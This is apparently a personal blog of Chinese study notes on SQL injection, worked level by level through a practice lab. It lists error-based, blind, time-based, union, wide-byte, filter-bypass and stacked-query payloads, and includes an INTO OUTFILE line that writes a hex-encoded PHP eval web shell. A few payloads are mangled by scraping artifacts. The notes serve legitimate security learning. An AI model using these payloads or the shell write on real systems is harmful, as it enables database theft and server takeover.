個人學習-SQL 記錄(2)
阿新 • • 發佈:2018-11-16
''' print_r(mysql_error()); 若存在即可使用報錯注入, 11-16 利用盲注 得到資訊 11. admin'# sui bian SELECT username, password FROM users WHERE username='admin'#' and password='dasdas' LIMIT 0,1 12. admin") # sui bian SELECT username, password FROM users WHERE username=("admin") #") and password=("123456") LIMIT 0,1 13. admin')and (substr(database(),1,1))>'a'# sui bian SELECT username, password FROM users WHERE username=('admin')and (substr(database(),1,1))>'a'#') and password=('') LIMIT 0,1 14. 也可盲注 admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))# 報錯注入 隨便 SELECT username, password FROM users WHERE username="admin "#" and password="a" LIMIT 0,1 15. 延時注入,答錯sleep5秒 admin'# admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))# admin' or left(database(),1)>'a sui bian SELECT username, password FROM users WHERE username='admin'#' and password='asd' LIMIT 0,1 16. admin")# sui bian SELECT username, password FROM users WHERE username="admin"#" and password="asd" LIMIT 0,1 17.註冊頁面 報錯注入: extractvalue(1,concat(0x7e,(select @@version),0x7e)) 盲注 ' and If(ascii(substr(database(),1,1))=116,1,sleep(5))# 18.insert into 注入 存在報錯的話,就在內閉合 'and extractvalue(1,concat(0x7e,(
[email protected]@version),0x7e))and'1'='1 INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and extractvalue(1,concat(0x7e,([email protected]@version),0x7e))and'1'='1', '127.0.0.1', 'admin') 19.在 refeer裡面存在 20 在cookie 中存在,具體需看原始碼 21: 22: 都是 存在於 cookie中,利用報錯注入 23: 過濾了 #,-- 不能註釋了 只能使用 內斂,-1'unionselect1,@@datadir,'3 , -1' union select 1,(select group_concat(schema_name)from information_schema.schemata),'3 -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),'3 -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=0x7365637572697479),'3 -1' union select 1,(select group_concat(0x7e,username,0x7e) from security.users limit 0,1),'3 也可 報錯注入, -1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1 也可盲注 1' and left(( select database() ),1)='s 24: 二次注入了型別: 建立 admin'# 賬號 mysql_real_escape_string() 由於 儲存前 mysql_real_escape_string() 轉義了 主入到 以下 SQL語句 $sql = "UPDATE users SET PASSWORD='1' where username='$username' and password='123' "; 注意: mysql_real_escape_string() 並不轉義 % 和 _。 addslashes() – 使用反斜線引用字串; 這些字元是單引號(’)、雙引號(”)、反斜線(\)與 NUL(NULL 字元)。 25: 過濾了 or ,and 繞過方法: anandd , oorr , 變換&&,|| 25a: 無回顯,只能使用延時注入或盲注入 26: 過濾了空格 和一些字元 \ * linux 平臺下,下的 這些東西可以實行 %09 TAB 鍵(水平) %0a 新建一行 %0c 新的一頁 %0d return 功能 %0b TAB 鍵(垂直) %a0 空格 29,30,31: tomact+apache 預設會取到最後一個引數 而在程式碼中,是取的第一個id 的引數, 可利用引數汙染 32: 寬位元組 注入: 原理: 寫入資料庫是GBK %df%27 即在資料庫裡面執行時,特殊符號前面會增加\,%df\ 在GBK中被認為是一個 子,從而逃逸出了'。 33: 此處過濾使用函式 addslashes() addslashes() 函式返回在預定義字元之前新增反斜槓的字串。 預定義字元是: 1 單引號(') 2 雙引號(") 3 反斜槓(\) 提示:該函式可用於為儲存在資料庫中的字串以及資料庫查詢語句準備字串。 34: 登陸之 addslashes()加反斜槓之術 post型 搞定 寬位元組注入 �'or 1=1# ps:post 沒有 get 型的 urlencode 35: 虛張聲勢 雖然有addslashes(),但 不需要 ' " 閉合 ,用平常的語句過就行。。 -1 union select 1,user(),3 %23 36: 依然寬位元組 mysql_real_escape_string() 過濾特殊字元 -1 %df' union select 1,2,3 %23 37: �'or 1=1# 1 38-41: mysqli_multi_query() 可進行堆疊查詢 get型 -1' union select 1,2,3 %23 1';insert into users (id,username,password) values('66','Less-38','haha'); #23 1';insert into users values('67','Less-38(1)','haha'); #23 42-45: post型堆疊查詢 沒有 mysql_real_escape_string()函式的處理。 admin c';create table less42 like users# 46,47,48,49: order by 句型 沒有過濾, 2. rand(進行盲注) 1,0不同 根據排序不同分 ture 3. 報錯,延時 若後面存在limit 1 可以用 procedure analyse()優化 繞過 procedure analyse(extractvalue(rand(),con cat(0x3a,version())),1) 直接寫入檔案 into outfile "D:\\1.txt" Into outtfile D:\\1.txt lines terminated by 0x(16 進位制) Into outfile "D:\\1.php" lines terminated by 0x3c7068703e406576616c28245f5f504f53545b2761275d293c2f7068703e 50,51,52,53 堆疊查詢: mysqli_multi_query() 執行多個sql mysqli_query() 執行單個sql 後面的 跟前面的差不多了 受益良多,留個筆記 '''